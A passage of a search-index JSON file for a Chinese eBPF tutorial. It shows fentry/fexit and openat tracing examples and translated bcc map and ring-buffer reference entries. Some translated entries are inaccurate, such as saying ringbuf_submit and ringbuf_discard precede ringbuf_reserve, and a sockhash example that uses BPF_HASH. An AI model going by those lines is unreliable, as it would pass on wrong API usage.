eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用 C 语言编写的 eBPF（扩展的伯克利包过滤器）程序，它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 程序包含以下部分： 包含头文件：包括 vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为 LICENSE 的字符数组，包含许可证信息“Dual BSD/GPL”。 定义 fentry 探针：我们定义了一个名为 BPF_PROG(do_unlinkat) 的 fentry 探针，该探针在 do_unlinkat 函数的入口处被触发。这个探针获取当前进程的 PID（进程ID）并将其与文件名一起打印到内核日志。 定义 fexit 探针：我们还定义了一个名为 BPF_PROG(do_unlinkat_exit) 的 fexit 探针，该探针在 do_unlinkat 函数的退出处被触发。与 fentry 探针类似，这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用，例如在本教程中的 unlink 系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"语法：int perf_submit((void *)ctx, (void*)data, u32 data_size) 返回值：成功返回0 这是BPF_PERF_OUTPUT表格的一种方法，用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目（最终调用bpf_perf_event_output()）。 ctx参数在 kprobes 或 kretprobes 中提供。对于SCHED_CLS或SOCKET_FILTER程序，必须使用struct __sk_buff *skb。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"270","title":"3. perf_submit()"},"271":{"body":"语法：int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size) 返回值：成功返回0\".一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法，用于将自定义事件数据和数据包缓冲区的前packet_size字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。（最终调用bpf_perf_event_output()函数。） 现场示例： 搜索/examples 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"271","title":"4. perf_submit_skb()"},"272":{"body":"语法：BPF_RINGBUF_OUTPUT(name, page_cnt) 创建一个BPF表，通过一个环形缓冲区将自定义事件数据推送到用户空间。 BPF_RINGBUF_OUTPUT相较于BPF_PERF_OUTPUT具有以下几个优点： 缓冲区在所有CPU之间共享，即每个CPU不需要单独分配 支持两种BPF程序的API map.ringbuf_output()类似于map.perf_submit()（在 ringbuf_output 中介绍） map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard()将保留缓冲区空间和提交事件的过程分为两步（在 ringbuf_reserve 、 ringbuf_submit 和 ringbuf_discard 中介绍） BPF API不需要访问CPU ctx参数 通过共享的环形缓冲区管理器，在用户空间中具有更高的性能和更低的延迟 支持两种在用户空间中消费数据的方式 从Linux 5.8开始，这应该是将事件数据推送到用户空间的首选方法。 输出表命名为'事件'。数据通过'事件'。ringbuf_reserve（）分配，并通过'事件'。ringbuf_submit（）推送到其中。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"272","title":"5. BPF_RINGBUF_OUTPUT"},"273":{"body":"语法：int ringbuf_output（（void *）data，u64 data_size，u64 flags） 返回：成功返回0 标志： BPF_RB_NO_WAKEUP：不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP：无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交给用户空间。此方法类似于perf_submit（），但不需要ctx参数。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output（）","id":"273","title":"6. ringbuf_output（）"},"274":{"body":"语法：void * ringbuf_reserve（u64 data_size） 返回：成功时返回数据结构的指针，失败时返回NULL BPF_RINGBUF_OUTPUT表的方法，用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与ringbuf_submit或ringbuf_discard之一配合使用。 在situ示例： [搜索/示例]（ https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&type=Code），","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"274","title":"7. ringbuf_reserve()"},"275":{"body":"语法：void ringbuf_submit（（void *）data，u64 flags） 返回：无，始终成功 标志：- BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交到用户态。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit（）","id":"275","title":"8. ringbuf_submit（）"},"276":{"body":"语法: void ringbuf_discard((void *)data, u64 flags) 返回值: 无，始终成功 标志: BPF_RB_NO_WAKEUP: 不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于丢弃自定义事件数据；用户空间将忽略与丢弃事件相关联的数据。必须在调用ringbuf_reserve()之前调用，以为数据预留空间。 现场示例： 搜索/examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"276","title":"9. ringbuf_discard()"},"277":{"body":"Maps是BPF数据存储，是更高级对象类型（包括表、哈希和直方图）的基础。","breadcrumbs":"bcc Reference Guide » Maps","id":"277","title":"Maps"},"278":{"body":"语法: BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries) 创建名为_name的映射。大多数情况下，这将通过更高级的宏（如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等）使用。 BPF_F_TABLE是一个变体，最后一个参数采用标志。BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)实际上是`BPF_F_TABLE( https://github.com/iovisor/bcc/tree/master ., 0 / flag /)```的包装。 方法（稍后讨论）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索/examples ,\" 搜索 /工具 固定映射 语法: BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, \"/sys/fs/bpf/xyz\") 如果映射不存在，则创建一个新的映射并将其固定到bpffs作为文件；否则使用已固定到bpffs的映射。类型信息不强制执行，实际的映射类型取决于固定到位置的映射。 例如: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"278","title":"1. BPF_TABLE"},"279":{"body":"语法: BPF_HASH(name [, key_type [, leaf_type [, size]]]) 创建一个哈希映射（关联数组），名称为name，具有可选参数。 默认值: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如: BPF_HASH(start, struct request *); 这将创建一个名为start的哈希，其中关键字为struct request *，值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳，其中关键字是指向struct request的指针，而值是时间戳。 这是BPF_TABLE(\"hash\", ...)的包装宏。 方法（稍后涵盖）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 示例中的原位置链接： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"279","title":"2. BPF_HASH"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"语法: BPF_ARRAY(name [, leaf_type [, size]]) 创建一个以整数索引的数组，最快速的查找和更新为优化，名称为name，具有可选参数。 默认值: BPF_ARRAY(name, leaf_type=u64, size=10240) 例如: BPF_ARRAY(counts, u64, 32); 这将创建一个名为counts的数组，其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。\".这是一个 BPF_TABLE(\"array\", ...) 的包装宏。 方法（稍后介绍）：map.lookup()、map.update()、map.increment()。注意，所有数组元素都预先分配为零值，无法删除。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"280","title":"3. BPF_ARRAY"},"281":{"body":"语法：BPF_HISTOGRAM(name [, key_type [, size ]]) 创建一个名为 name 的直方图映射，包含可选参数。 默认值：BPF_HISTOGRAM(name, key_type=int, size=64) 例如： BPF_HISTOGRAM(dist); 这创建了一个名为 dist 的直方图，默认有 64 个桶，以 int 类型的键索引。 这是一个 BPF_TABLE(\"histgram\", ...) 的包装宏。 方法（稍后介绍）：map.increment()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"281","title":"4. BPF_HISTOGRAM"},"282":{"body":"语法：BPF_STACK_TRACE(name, max_entries) 创建一个名为 name 的堆栈跟踪映射，提供最大条目数。这些映射用于存储堆栈跟踪。 例如： BPF_STACK_TRACE(stack_traces, 1024); 这创建了一个名为 stack_traces 的堆栈跟踪映射，最大堆栈跟踪条目数为 1024。 这是一个 BPF_TABLE(\"stacktrace\", ...) 的包装宏。 方法（稍后介绍）：map.get_stackid()。 在当前位置的示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"282","title":"5. BPF_STACK_TRACE"},"283":{"body":"语法：BPF_PERF_ARRAY(name, max_entries) 创建一个名为 name 的 perf 数组，提供最大条目数，该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如： text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) 这将创建一个名为cpu_cycles的性能数组，条目数量等于CPU核心数。该数组被配置为，稍后调用map.perf_read()将返回从过去某一时刻开始计算的硬件计数器的周期数。每个表只能配置一种类型的硬件计数器。 方法（稍后介绍）：map.perf_read()。 现场示例： 搜索 /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"283","title":"6. BPF_PERF_ARRAY"},"284":{"body":"语法：BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) 创建NUM_CPU个以int索引的哈希映射（关联数组），名为name，具有可选参数。每个CPU都会有一个单独的该数组副本。这些副本不以任何方式进行同步。 请注意，由于内核中定义的限制（位于linux/mm/percpu.c中），leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_HASH元素的大小不能超过32KB。 默认值：BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_PERCPU_HASH(start, struct request *); 这将创建名为start的NUM_CPU个哈希，其中键为struct request *，值默认为u64。 这是对BPF_TABLE(\"percpu_hash\", ...)的包装宏。 方法（稍后介绍）：map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"284","title":"7. BPF_PERCPU_HASH"},"285":{"body":"语法：BPF_PERCPU_ARRAY(name [, leaf_type [, size]])。创建name的NUM_CPU个按整数索引优化的数组，以实现最快的查找和更新，具有可选参数。每个CPU都会有一个单独的副本。这些副本不能以任何方式同步。 请注意，由于内核（在linux/mm/percpu.c中）定义的限制，leaf_type的大小不能超过32KB。 换句话说，BPF_PERCPU_ARRAY元素的大小不能超过32KB。 默认值：BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) 例如： BPF_PERCPU_ARRAY(counts, u64, 32); 这将创建NUM_CPU个名为counts的数组，其中每个数组有32个桶和64位整数值。 这是BPF_TABLE(\"percpu_array\", ...)的包装宏。 方法（稍后介绍）：map.lookup()，map.update()，map.increment()。请注意，所有数组元素都预先分配为零值，并且不能被删除。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"285","title":"8. BPF_PERCPU_ARRAY"},"286":{"body":"语法：BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) 创建一个名为name的最长前缀匹配字典树映射，带有可选参数。 默认值：BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) 例如： BPF_LPM_TRIE(trie, struct key_v6); 这将创建一个名为trie的LPM字典树映射，其中键是struct key_v6，值默认为u64。 这是一个对BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC)的包装宏。 方法（稍后介绍）：map.lookup()，map.lookup_or_try_init()，map.delete()，map.update()，map.insert()，map.increment()。 In situ示例： 搜索/examples ， 搜索/tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"286","title":"9. BPF_LPM_TRIE"},"287":{"body":"语法：BPF_PROG_ARRAY(name, size)。创建一个名为 name 的程序数组，其中包含 size 个条目。数组的每个条目要么是指向一个 bpf 程序的文件描述符，要么是 NULL。该数组作为一个跳转表，以便 bpf 程序可以“尾调用”其他 bpf 程序。 这是一个 BPF_TABLE(\"prog\", ...) 的包装宏。 方法（稍后介绍）：map.call()。 实时示例： 搜索 /examples , 搜索 /tests , 分配 fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"287","title":"10. BPF_PROG_ARRAY"},"288":{"body":"语法：BPF_DEVMAP(name, size) 这创建了一个名为 name 的设备映射，其中包含 size 个条目。映射的每个条目都是一个网络接口的 ifindex。此映射仅在 XDP 中使用。 例如： BPF_DEVMAP(devmap, 10); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"288","title":"11. BPF_DEVMAP"},"289":{"body":"语法：BPF_CPUMAP(name, size) 这创建了一个名为 name 的 CPU 映射，其中包含 size 个条目。映射的索引表示 CPU 的 ID，每个条目是为 CPU 分配的环形缓冲区的大小。此映射仅在 XDP 中使用。 例如： BPF_CPUMAP(cpumap, 16); 方法（稍后介绍）：map.redirect_map()。 实时示例： 搜索 /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"289","title":"12. BPF_CPUMAP"},"29":{"body":"eBPF（Extended Berkeley Packet Filter）是一种内核执行环境，它可以让用户在内核中运行一些安全的、高效的程序。它通常用于网络过滤、性能分析、安全监控等场景。eBPF 之所以强大，是因为它能够在内核运行时捕获和修改数据包或者系统调用，从而实现对操作系统行为的监控和调整。 本文是 eBPF 入门开发实践教程的第四篇，主要介绍如何捕获进程打开文件的系统调用集合，并使用全局变量在 eBPF 中过滤进程 pid。 在 Linux 系统中，进程与文件之间的交互是通过系统调用来实现的。系统调用是用户态程序与内核态程序之间的接口，它们允许用户态程序请求内核执行特定操作。在本教程中，我们关注的是 sys_openat 系统调用，它用于打开文件。 当进程打开一个文件时，它会向内核发出 sys_openat 系统调用，并传递相关参数（例如文件路径、打开模式等）。内核会处理这个请求，并返回一个文件描述符（file descriptor），这个描述符将在后续的文件操作中用作引用。通过捕获 sys_openat 系统调用，我们可以了解进程在什么时候以及如何打开文件。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid","id":"29","title":"eBPF 入门开发实践教程四：在 eBPF 中捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid"},"290":{"body":"语法：BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"])。这将创建一个名为name的xsk映射，带有size个条目，并将其固定到bpffs作为一个文件。每个条目表示一个NIC的队列ID。该映射仅在XDP中用于将数据包重定向到AF_XDP套接字。如果AF_XDP套接字绑定到与当前数据包的队列ID不同的队列，则数据包将被丢弃。对于内核v5.3及更高版本，“lookup”方法可用于检查当前数据包的队列ID是否可用于AF_XDP套接字。有关详细信息，请参阅 AF_XDP 。 例如： BPF_XSKMAP(xsks_map, 8); 方法（稍后涵盖）：map.redirect_map()。map.lookup() 现场示例： search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"290","title":"13. BPF_XSKMAP"},"291":{"body":"语法：BPF_ARRAY_OF_MAPS(name, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的数组映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"291","title":"14. BPF_ARRAY_OF_MAPS"},"292":{"body":"语法：BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) 这将创建一个带有映射内部类型（BPF_MAP_TYPE_HASH_OF_MAPS）的哈希映射，名称为name，包含size个条目。映射的内部元数据由映射inner_map_name提供，可以是除了BPF_MAP_TYPE_PROG_ARRAY、BPF_MAP_TYPE_CGROUP_STORAGE和BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE之外的大多数数组或哈希映射。 例如： BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"292","title":"15. BPF_HASH_OF_MAPS"},"293":{"body":"语法：BPF_STACK(name, leaf_type, max_entries[, flags])。创建一个名为 name 的堆栈，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如: BPF_STACK(stack, struct event, 10240); 这将创建一个名为 stack 的堆栈，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"293","title":"16. BPF_STACK"},"294":{"body":"语法：BPF_QUEUE(name, leaf_type, max_entries[, flags]) 创建一个名为 name 的队列，其值类型为 leaf_type，最大条目数为 max_entries。 堆栈和队列映射仅适用于 Linux 4.20+。 例如： BPF_QUEUE(queue, struct event, 10240); 这将创建一个名为 queue 的队列，其值类型为 struct event，最多可容纳 10240 个条目。 方法（后面会涉及）：map.push()、map.pop()、map.peek()。 示例： 在 search /tests 中。","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"294","title":"17. BPF_QUEUE"},"295":{"body":"语法：BPF_SOCKHASH(name[, key_type [, max_entries) 创建一个名为 name 的哈希，带有可选参数。sockhash仅适用于Linux 4.18+。 默认值：BPF_SOCKHASH(name, key_type=u32, max_entries=10240) 例如： struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); 这将创建一个名为 skh 的哈希表，其中键是 struct sock_key。 sockhash是一种BPF映射类型，它保存对sock结构体的引用。然后，通过使用新的sk/msg重定向BPF辅助函数，BPF程序可以使用该映射在套接字之间重定向skbs/msgs（map.sk_redirect_hash()/map.msg_redirect_hash()）。BPF_SOCKHASH和BPF_SOCKMAP的区别在于BPF_SOCKMAP是基于数组实现的，并且强制键为四个字节。 而BPF_SOCKHASH是基于哈希表实现的，并且键的类型可以自由指定。 方法（稍后介绍）：map.sock_hash_update()，map.msg_redirect_hash()，map.sk_redirect_hash()。 搜索/tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"295","title":"18. BPF_SOCKHASH"},"296":{"body":"语法：*val map.lookup(&key) 在映射中查找键，如果存在则返回指向其值的指针，否则返回NULL。我们将键作为指针的地址传入。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"296","title":"19. map.lookup()"},"297":{"body":"语法：*val map.lookup_or_try_init(&key, &zero) 在映射中查找键，如果存在则返回指向其值的指针，否则将键的值初始化为第二个参数。通常用于将值初始化为零。如果无法插入键（例如映射已满），则返回NULL。 示例： 搜索/examples , 搜索/tools 注意：旧的map.lookup_or_init()可能导致函数返回，因此建议使用lookup_or_try_init()，它没有这种副作用。","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"297","title":"20. map.lookup_or_try_init()"},"298":{"body":"语法：map.delete(&key) 从哈希表中删除键。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"298","title":"21. map.delete()"},"299":{"body":"语法：map.update(&key, &val) 将第二个参数中的值与键关联，覆盖任何先前的值。 示例：\" 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"299","title":"22. map.update()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include \n#include  /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id >> 32; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件： 包含了内核数据结构的定义， 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TID（线程 ID）。由于我们只关心 PID，所以将其值右移 32 位赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"语法: map.insert(&key, &val) 将第二个参数中的值与键相关联，仅在之前没有值的情况下。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"300","title":"23. map.insert()"},"301":{"body":"语法: map.increment(key[, increment_amount]) 通过 increment_amount（默认为1）增加键的值。用于柱状图。 map.increment()不是原子操作。在并发情况下，如果要获得更准确的结果，请使用 map.atomic_increment() 而不是 map.increment()。map.increment() 和 map.atomic_increment() 的开销相似。 注意. 当使用 map.atomic_increment() 操作类型为 BPF_MAP_TYPE_HASH 的 BPF map 时，如果指定的键不存在，则 map.atomic_increment() 无法保证操作的原子性。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"301","title":"24. map.increment()"},"302":{"body":"语法: int map.get_stackid(void *ctx, u64 flags) 这会遍历在 ctx 中找到的 struct pt_regs 中的堆栈，将其保存在堆栈跟踪 map 中，并返回一个唯一的堆栈跟踪 ID。 现场示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"302","title":"25. map.get_stackid()"},"303":{"body":"语法: u64 map.perf_read(u32 cpu) 现场示例:\"\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"303","title":"26. map.perf_read()"},"304":{"body":"语法：void map.call(void *ctx, int index) 这将调用bpf_tail_call()来尾调用 BPF_PROG_ARRAY 中指向index入口的bpf程序。尾调用与普通调用不同。它在跳转到另一个bpf程序后重用当前的栈帧，并且不会返回。如果index入口为空，它将不会跳转到任何地方，程序的执行将会继续进行。 例如： BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"尾调用\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"原始的程序\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") 这将tail_call()分配给prog_array[2]。在do_tail_call()的最后，prog_array.call(ctx, 2)尾调用tail_call()并执行它。 **注意：**为了防止无限循环，尾调用的最大数量是32（ MAX_TAIL_CALL_CNT ）。 在现场示例中： 搜索/examples , 搜索/tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"304","title":"27. 